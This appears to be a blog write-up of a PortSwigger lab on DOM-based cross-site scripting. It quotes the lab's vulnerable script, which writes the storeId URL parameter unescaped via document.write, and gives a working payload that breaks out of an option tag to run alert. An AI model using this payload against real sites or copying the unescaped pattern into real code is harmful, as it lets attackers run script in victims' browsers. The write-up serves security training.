DOM XSS in document.write
sink using source location.search
inside a select element | Dec 29, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: DOM XSS in document.write
sink using source location.search
inside a select element! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write
function, which writes data out to the page. The document.write
function is called with data from location.search
which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert
function.
Exploitation
Home page:
Let’s view the of those products:
In here, we can see there is a Check stock
button.
Let’s click on it and intercept the request via Burp Suite:
When we clicked that button, it’ll send a POST request to /product/stock
, with parameter productId
and storeId
.
View source page:
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="1">
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
<button type="submit" class="button">Check stock</button>
</form>
Let’s look at the form’s JavaScript codes:
store
= our URL GET parameterstoreId
- If
store
is set, then usedocument.write
sink to write<option>
tag withstoreId
Since we have control of storeId
GET parameter, we can try to exploit it.
To do so, we first need to close the <option>
tag, then we can include our JavaScript alert()
function:
</option><script>alert(document.domain)</script>
Nice!
What we’ve learned:
- DOM XSS in
document.write
sink using sourcelocation.search
inside a select element